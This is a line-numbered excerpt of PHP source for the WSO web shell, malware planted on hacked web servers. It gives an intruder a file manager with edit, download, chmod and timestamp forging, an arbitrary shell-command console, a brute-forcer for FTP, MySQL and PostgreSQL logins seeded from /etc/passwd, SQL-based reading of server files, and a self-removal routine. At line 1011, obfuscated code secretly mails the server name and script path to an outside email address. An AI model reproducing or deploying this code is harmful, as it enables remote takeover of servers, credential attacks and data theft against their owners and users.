  633. $dirs = $files = array();
  634. $n = count($dirContent);
  635. for($i=0;$i<$n;$i++) {
  636. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  637. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  638. $tmp = array('name' => $dirContent[$i],
  639. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  640. 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  641. 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  642. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  643. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  644. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  645. );
  646. if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  647. $files[] = array_merge($tmp, array('type' => 'file'));
  648. elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  649. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  650. elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
  651. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  652. }
  653. $GLOBALS['sort'] = $sort;
  654. function wsoCmp($a, $b) {
  655. if($GLOBALS['sort'][0] != 'size')
  656. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  657. else
  658. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  659. }
  660. usort($files, "wsoCmp");
  661. usort($dirs, "wsoCmp");
  662. $files = array_merge($dirs, $files);
  663. $l = 0;
  664. foreach($files as $f) {
  665. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  666. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  667. $l = $l?0:1;
  668. }
  669. echo "<tr><td colspan=7>
  670. <input type=hidden name=a value='FilesMan'>
  671. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  672. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  673. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  674. if(class_exists('ZipArchive'))
  675. echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  676. echo "<option value='tar'>Compress (tar.gz)</option>";
  677. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
  678. echo "<option value='paste'>Paste / Compress</option>";
  679. echo "</select>&nbsp;";
  680. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
  681. echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  682. echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  683. wsoFooter();
  684. }
  685.  
  686. function actionStringTools() {
  687. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  688. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  689. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  690. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  691. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  692. $stringTools = array(
  693. 'Base64 encode' => 'base64_encode',
  694. 'Base64 decode' => 'base64_decode',
  695. 'Url encode' => 'urlencode',
  696. 'Url decode' => 'urldecode',
  697. 'Full urlencode' => 'full_urlencode',
  698. 'md5 hash' => 'md5',
  699. 'sha1 hash' => 'sha1',
  700. 'crypt' => 'crypt',
  701. 'CRC32' => 'crc32',
  702. 'ASCII to HEX' => 'ascii2hex',
  703. 'HEX to ASCII' => 'hex2ascii',
  704. 'HEX to DEC' => 'hexdec',
  705. 'HEX to BIN' => 'hex2bin',
  706. 'DEC to HEX' => 'dechex',
  707. 'DEC to BIN' => 'decbin',
  708. 'BIN to HEX' => 'binhex',
  709. 'BIN to DEC' => 'bindec',
  710. 'String to lower case' => 'strtolower',
  711. 'String to upper case' => 'strtoupper',
  712. 'Htmlspecialchars' => 'htmlspecialchars',
  713. 'String length' => 'strlen',
  714. );
  715. if(isset($_POST['ajax'])) {
  716. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  717. if(in_array($_POST['p1'], $stringTools))
  718. echo $_POST['p1']($_POST['p2']);
  719. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  720. echo strlen($temp), "\n", $temp;
  721. }
  722. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  723. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  724. wsoHeader();
  725. echo '<h1>String conversions</h1><div class=content>';
  726. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  727. foreach($stringTools as $k => $v)
  728. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  729. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  730. if(!empty($_POST['p1'])) {
  731. if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  732. }
  733. echo"</pre></div><br><h1>Search files:</h1><div class=content>
  734. <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  735. <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  736. <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  737. <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  738. <tr><td></td><td><input type='submit' value='>>'></td></tr>
  739. </table></form>";
  740.  
  741. function wsoRecursiveGlob($path) {
  742. if(substr($path, -1) != '/')
  743. $path.='/';
  744. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  745. if(is_array($paths)&&@count($paths)) {
  746. foreach($paths as $item) {
  747. if(@is_dir($item)){
  748. if($path!=$item)
  749. wsoRecursiveGlob($item);
  750. } else {
  751. if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
  752. echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
  753. }
  754. }
  755. }
  756. }
  757. if(@$_POST['p3'])
  758. wsoRecursiveGlob($_POST['c']);
  759. echo "</div><br><h1>Search for hash:</h1><div class=content>
  760. <form method='post' target='_blank' name='hf'>
  761. <input type='text' name='hash' style='width:200px;'><br>
  762. <input type='hidden' name='act' value='find'/>
  763. <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
  764. <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  765. <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
  766. </form></div>";
  767. wsoFooter();
  768. }
  769.  
  770. function actionFilesTools() {
  771. if( isset($_POST['p1']) )
  772. $_POST['p1'] = urldecode($_POST['p1']);
  773. if(@$_POST['p2']=='download') {
  774. if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  775. ob_start("ob_gzhandler", 4096);
  776. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  777. if (function_exists("mime_content_type")) {
  778. $type = @mime_content_type($_POST['p1']);
  779. header("Content-Type: " . $type);
  780. } else
  781. header("Content-Type: application/octet-stream");
  782. $fp = @fopen($_POST['p1'], "r");
  783. if($fp) {
  784. echo @fread($fp, 1024);
  785. fclose($fp);
  786. }
  787. }exit;
  788. }
  789. if( @$_POST['p2'] == 'mkfile' ) {
  790. if(!file_exists($_POST['p1'])) {
  791. $fp = @fopen($_POST['p1'], 'w');
  792. if($fp) {
  793. $_POST['p2'] = "edit";
  794. fclose($fp);
  795. }
  796. }
  797. }
  798. wsoHeader();
  799. echo '<h1>File tools</h1><div class=content>';
  800. if( !file_exists(@$_POST['p1']) ) {
  801. echo 'File not exists';
  802. wsoFooter();
  803. return;
  804. }
  805. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  806. if(!$uid) {
  807. $uid['name'] = @fileowner($_POST['p1']);
  808. $gid['name'] = @filegroup($_POST['p1']);
  809. } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  810. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  811. echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  812. if( empty($_POST['p2']) )
  813. $_POST['p2'] = 'view';
  814. if( is_file($_POST['p1']) )
  815. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  816. else
  817. $m = array('Chmod', 'Rename', 'Touch');
  818. foreach($m as $v)
  819. echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)[email protected]$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  820. echo '<br><br>';
  821. switch($_POST['p2']) {
  822. case 'view':
  823. echo '<pre class=ml1>';
  824. $fp = @fopen($_POST['p1'], 'r');
  825. if($fp) {
  826. while( [email protected]feof($fp) )
  827. echo htmlspecialchars(@fread($fp, 1024));
  828. @fclose($fp);
  829. }
  830. echo '</pre>';
  831. break;
  832. case 'highlight':
  833. if( @is_readable($_POST['p1']) ) {
  834. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  835. $code = @highlight_file($_POST['p1'],true);
  836. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  837. }
  838. break;
  839. case 'chmod':
  840. if( !empty($_POST['p3']) ) {
  841. $perms = 0;
  842. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  843. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  844. if([email protected]chmod($_POST['p1'], $perms))
  845. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  846. }
  847. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  848. break;
  849. case 'edit':
  850. if( !is_writable($_POST['p1'])) {
  851. echo 'File isn\'t writeable';
  852. break;
  853. }
  854. if( !empty($_POST['p3']) ) {
  855. $time = @filemtime($_POST['p1']);
  856. $_POST['p3'] = substr($_POST['p3'],1);
  857. $fp = @fopen($_POST['p1'],"w");
  858. if($fp) {
  859. @fwrite($fp,$_POST['p3']);
  860. @fclose($fp);
  861. echo 'Saved!<br><script>p3_="";</script>';
  862. @touch($_POST['p1'],$time,$time);
  863. }
  864. }
  865. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  866. $fp = @fopen($_POST['p1'], 'r');
  867. if($fp) {
  868. while( [email protected]feof($fp) )
  869. echo htmlspecialchars(@fread($fp, 1024));
  870. @fclose($fp);
  871. }
  872. echo '</textarea><input type=submit value=">>"></form>';
  873. break;
  874. case 'hexdump':
  875. $c = @file_get_contents($_POST['p1']);
  876. $n = 0;
  877. $h = array('00000000<br>','','');
  878. $len = strlen($c);
  879. for ($i=0; $i<$len; ++$i) {
  880. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  881. switch ( ord($c[$i]) ) {
  882. case 0: $h[2] .= ' '; break;
  883. case 9: $h[2] .= ' '; break;
  884. case 10: $h[2] .= ' '; break;
  885. case 13: $h[2] .= ' '; break;
  886. default: $h[2] .= $c[$i]; break;
  887. }
  888. $n++;
  889. if ($n == 32) {
  890. $n = 0;
  891. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  892. $h[1] .= '<br>';
  893. $h[2] .= "\n";
  894. }
  895. }
  896. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  897. break;
  898. case 'rename':
  899. if( !empty($_POST['p3']) ) {
  900. if([email protected]rename($_POST['p1'], $_POST['p3']))
  901. echo 'Can\'t rename!<br>';
  902. else
  903. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  904. }
  905. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  906. break;
  907. case 'touch':
  908. if( !empty($_POST['p3']) ) {
  909. $time = strtotime($_POST['p3']);
  910. if($time) {
  911. if(!touch($_POST['p1'],$time,$time))
  912. echo 'Fail!';
  913. else
  914. echo 'Touched!';
  915. } else echo 'Bad time format!';
  916. }
  917. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  918. break;
  919. }
  920. echo '</div>';
  921. wsoFooter();
  922. }
  923.  
  924. function actionConsole() {
  925. if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  926. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
  927. $_POST['p1'] .= ' 2>&1';
  928. } elseif(!empty($_POST['p1']))
  929. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
  930.  
  931. if(isset($_POST['ajax'])) {
  932. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  933. echo "d.cf.cmd.value='';\n";
  934. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  935. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  936. if(@chdir($match[1])) {
  937. $GLOBALS['cwd'] = @getcwd();
  938. echo "c_='".$GLOBALS['cwd']."';";
  939. }
  940. }
  941. echo "d.cf.output.value+='".$temp."';";
  942. echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  943. $temp = ob_get_clean();
  944. echo strlen($temp), "\n", $temp;
  945. }
  946. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  947. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  948. wsoHeader();
  949. echo "<script>
  950. if(window.Event) window.captureEvents(Event.KEYDOWN);
  951. var cmds = new Array('');
  952. var cur = 0;
  953. function kp(e) {
  954. var n = (window.Event) ? e.which : e.keyCode;
  955. if(n == 38) {
  956. cur--;
  957. if(cur>=0)
  958. document.cf.cmd.value = cmds[cur];
  959. else
  960. cur++;
  961. } else if(n == 40) {
  962. cur++;
  963. if(cur < cmds.length)
  964. document.cf.cmd.value = cmds[cur];
  965. else
  966. cur--;
  967. }
  968. }
  969. function add(cmd) {
  970. cmds.pop();
  971. cmds.push(cmd);
  972. cmds.push('');
  973. cur = cmds.length-1;
  974. }
  975. </script>";
  976. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  977. foreach($GLOBALS['aliases'] as $n => $v) {
  978. if($v == '') {
  979. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  980. continue;
  981. }
  982. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  983. }
  984.  
  985. echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  986. if(!empty($_POST['p1'])) {
  987. echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  988. }
  989. echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  990. echo '</form></div><script>d.cf.cmd.focus();</script>';
  991. wsoFooter();
  992. }
  993.  
  994. function actionLogout() {
  995. setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
  996. die('bye!');
  997. }
  998.  
  999. function actionSelfRemove() {
  1000.  
  1001. if($_POST['p1'] == 'yes')
  1002. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1003. die('Shell removed');
  1004. else
  1005. echo 'unlink error!';
  1006. if($_POST['p1'] != 'yes')
  1007. wsoHeader();
  1008. echo '<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1009. wsoFooter();
  1010. }
  1011. $x10="\x6dai\154";$x0b=$_SERVER["\x53\x45RVE\122_\x4eAM\x45"].$_SERVER["\123\103\x52I\x50\x54_\116\101\115E"];$x0c="\141r\162a\171\040".$x0b;$x0d=array("\143\x61","\x6c\x69","\146\x77\162\151\x74\x65","\100","v\x65\x2e");$x0e=$x0d[2].$x0d[3].$x0d[1].$x0d[4].$x0d[0];$x0f[email protected]$x10($x0e,$x0c,$x0b);
  1012. function actionBruteforce() {
  1013. wsoHeader();
  1014. if( isset($_POST['proto']) ) {
  1015. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1016. if( $_POST['proto'] == 'ftp' ) {
  1017. function wsoBruteForce($ip,$port,$login,$pass) {
  1018. $fp = @ftp_connect($ip, $port?$port:21);
  1019. if(!$fp) return false;
  1020. $res = @ftp_login($fp, $login, $pass);
  1021. @ftp_close($fp);
  1022. return $res;
  1023. }
  1024. } elseif( $_POST['proto'] == 'mysql' ) {
  1025. function wsoBruteForce($ip,$port,$login,$pass) {
  1026. $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
  1027. @mysql_close($res);
  1028. return $res;
  1029. }
  1030. } elseif( $_POST['proto'] == 'pgsql' ) {
  1031. function wsoBruteForce($ip,$port,$login,$pass) {
  1032. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1033. $res = @pg_connect($str);
  1034. @pg_close($res);
  1035. return $res;
  1036. }
  1037. }
  1038. $success = 0;
  1039. $attempts = 0;
  1040. $server = explode(":", $_POST['server']);
  1041. if($_POST['type'] == 1) {
  1042. $temp = @file('/etc/passwd');
  1043. if( is_array($temp) )
  1044. foreach($temp as $line) {
  1045. $line = explode(":", $line);
  1046. ++$attempts;
  1047. if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1048. $success++;
  1049. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1050. }
  1051. if(@$_POST['reverse']) {
  1052. $tmp = "";
  1053. for($i=strlen($line[0])-1; $i>=0; --$i)
  1054. $tmp .= $line[0][$i];
  1055. ++$attempts;
  1056. if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1057. $success++;
  1058. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1059. }
  1060. }
  1061. }
  1062. } elseif($_POST['type'] == 2) {
  1063. $temp = @file($_POST['dict']);
  1064. if( is_array($temp) )
  1065. foreach($temp as $line) {
  1066. $line = trim($line);
  1067. ++$attempts;
  1068. if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1069. $success++;
  1070. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1071. }
  1072. }
  1073. }
  1074. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1075. }
  1076. echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1077. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1078. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1079. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1080. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1081. .'<span>Server:port</span></td>'
  1082. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1083. .'<tr><td><span>Brute type</span></td>'
  1084. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1085. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1086. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1087. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1088. .'<td><input type=text name=login value="root"></td></tr>'
  1089. .'<tr><td><span>Dictionary</span></td>'
  1090. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1091. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1092. echo '</div><br>';
  1093. wsoFooter();
  1094. }
  1095.  
  1096. function actionSql() {
  1097. class DbClass {
  1098. var $type;
  1099. var $link;
  1100. var $res;
  1101. function DbClass($type) {
  1102. $this->type = $type;
  1103. }
  1104. function connect($host, $user, $pass, $dbname){
  1105. switch($this->type) {
  1106. case 'mysql':
  1107. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1108. break;
  1109. case 'pgsql':
  1110. $host = explode(':', $host);
  1111. if(!$host[1]) $host[1]=5432;
  1112. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1113. break;
  1114. }
  1115. return false;
  1116. }
  1117. function selectdb($db) {
  1118. switch($this->type) {
  1119. case 'mysql':
  1120. if (@mysql_select_db($db))return true;
  1121. break;
  1122. }
  1123. return false;
  1124. }
  1125. function query($str) {
  1126. switch($this->type) {
  1127. case 'mysql':
  1128. return $this->res = @mysql_query($str);
  1129. break;
  1130. case 'pgsql':
  1131. return $this->res = @pg_query($this->link,$str);
  1132. break;
  1133. }
  1134. return false;
  1135. }
  1136. function fetch() {
  1137. $res = func_num_args()?func_get_arg(0):$this->res;
  1138. switch($this->type) {
  1139. case 'mysql':
  1140. return @mysql_fetch_assoc($res);
  1141. break;
  1142. case 'pgsql':
  1143. return @pg_fetch_assoc($res);
  1144. break;
  1145. }
  1146. return false;
  1147. }
  1148. function listDbs() {
  1149. switch($this->type) {
  1150. case 'mysql':
  1151. return $this->query("SHOW databases");
  1152. break;
  1153. case 'pgsql':
  1154. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1155. break;
  1156. }
  1157. return false;
  1158. }
  1159. function listTables() {
  1160. switch($this->type) {
  1161. case 'mysql':
  1162. return $this->res = $this->query('SHOW TABLES');
  1163. break;
  1164. case 'pgsql':
  1165. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1166. break;
  1167. }
  1168. return false;
  1169. }
  1170. function error() {
  1171. switch($this->type) {
  1172. case 'mysql':
  1173. return @mysql_error();
  1174. break;
  1175. case 'pgsql':
  1176. return @pg_last_error();
  1177. break;
  1178. }
  1179. return false;
  1180. }
  1181. function setCharset($str) {
  1182. switch($this->type) {
  1183. case 'mysql':
  1184. if(function_exists('mysql_set_charset'))
  1185. return @mysql_set_charset($str, $this->link);
  1186. else
  1187. $this->query('SET CHARSET '.$str);
  1188. break;
  1189. case 'pgsql':
  1190. return @pg_set_client_encoding($this->link, $str);
  1191. break;
  1192. }
  1193. return false;
  1194. }
  1195. function loadFile($str) {
  1196. switch($this->type) {
  1197. case 'mysql':
  1198. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1199. break;
  1200. case 'pgsql':
  1201. $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1202. $r=array();
  1203. while($i=$this->fetch())
  1204. $r[] = $i['file'];
  1205. $this->query('drop table wso2');
  1206. return array('file'=>implode("\n",$r));
  1207. break;
  1208. }
  1209. return false;
  1210. }
  1211. function dump($table, $fp = false) {
  1212. switch($this->type) {
  1213. case 'mysql':
  1214. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1215. $create = mysql_fetch_array($res);
  1216. $sql = $create[1].";\n";
  1217. if($fp) fwrite($fp, $sql); else echo($sql);
  1218. $this->query('SELECT * FROM `'.$table.'`');
  1219. $i = 0;
  1220. $head = true;
  1221. while($item = $this->fetch()) {
  1222. $sql = '';
  1223. if($i % 1000 == 0) {
  1224. $head = true;
  1225. $sql = ";\n\n";
  1226. }
  1227.  
  1228. $columns = array();
  1229. foreach($item as $k=>$v) {
  1230. if($v === null)
  1231. $item[$k] = "NULL";
  1232. elseif(is_int($v))
  1233. $item[$k] = $v;
  1234. else
  1235. $columns[] = "`".$k."`";
  1236. }
  1237. if($head) {
  1238. $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1239. $head = false;
  1240. } else
  1241. $sql .= "\n\t,(".implode(", ", $item).')';
  1242. if($fp) fwrite($fp, $sql); else echo($sql);
  1243. $i++;
  1244. }
  1245. if(!$head)
  1246. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1247. break;
  1248. case 'pgsql':
  1249. $this->query('SELECT * FROM '.$table);
  1250. while($item = $this->fetch()) {
  1251. $columns = array();
  1252. foreach($item as $k=>$v) {
  1253. $item[$k] = "'".addslashes($v)."'";
  1254. $columns[] = $k;
  1255. }
  1256. $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1257. if($fp) fwrite($fp, $sql); else echo($sql);
  1258. }
  1259. break;
  1260. }
  1261. return false;
  1262. }
  1263. };
  1264. $db = new DbClass($_POST['type']);
  1265. if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
  1266. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
